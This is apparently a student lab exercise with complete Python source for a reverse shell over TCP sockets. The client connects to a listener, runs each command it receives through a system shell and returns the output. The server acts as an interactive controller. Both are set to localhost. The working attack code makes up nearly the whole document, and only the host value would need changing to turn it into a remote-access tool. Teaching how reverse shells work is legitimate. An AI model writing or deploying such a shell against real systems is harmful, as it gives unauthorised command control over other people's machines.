Ex No: 8 **PROGRAM TO CREATE REVERSE SHELL USING**
DATE: 29.09.2025 **TCP SOCKETS**

AIM:

To develop a program to create reverse shell using TCP sockets.

CODE:

```
client.py
import socket
import subprocess
import os

host = '127.0.0.1'
port = 9999

def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))

    while True:
        try:
            command = client.recv(1024).decode()
            if command.lower() == 'quit':
                break
            elif command.startswith('cd '):
                try:
                    os.chdir(command[3:].strip())
                    output = f"Changed directory to {os.getcwd()}"
                except Exception as e:
                    output = str(e)
            else:
                process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                output = process.stdout.read() + process.stderr.read()
                output = output.decode()
            current_dir = os.getcwd() + "> "
            client.send((output + "\n" + current_dir).encode())
        except Exception as e:
            client.send(str(e).encode())
            break

    client.close()

if __name__ == "__main__":
    connect_to_server()

server.py
import socket
import threading
```

```
host = '127.0.0.1'
port = 9999

def create_server_socket():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[+] Listening on {host}:{port}")
    return server

def handle_client(conn, addr):
    print(f"[+] Connection established with {addr[0]}:{addr[1]}")
    while True:
        try:
            command = input(f"{addr[0]}@shell> ")
            if command.lower() == 'quit':
                conn.send(command.encode())
                conn.close()
                break
            if command.strip():
                conn.send(command.encode())
                response = conn.recv(4096).decode()
                print(response)
        except Exception as e:
            print(f"[!] Error: {e}")
            conn.close()
            break

def start_server():
    server = create_server_socket()
    while True:
        conn, addr = server.accept()
        client_thread = threading.Thread(target=handle_client, args=(conn, addr))
        client_thread.start()

if __name__ == "__main__":
    start_server()
```

TO RUN:

1. Run the server script in the first terminal.

2. Run the client script in the second terminal.

3. Type commands in the server terminal to control the client, and type “quit” to close the connection.

RESULT:

The server gains remote command access to the client and receives the output of each command executed.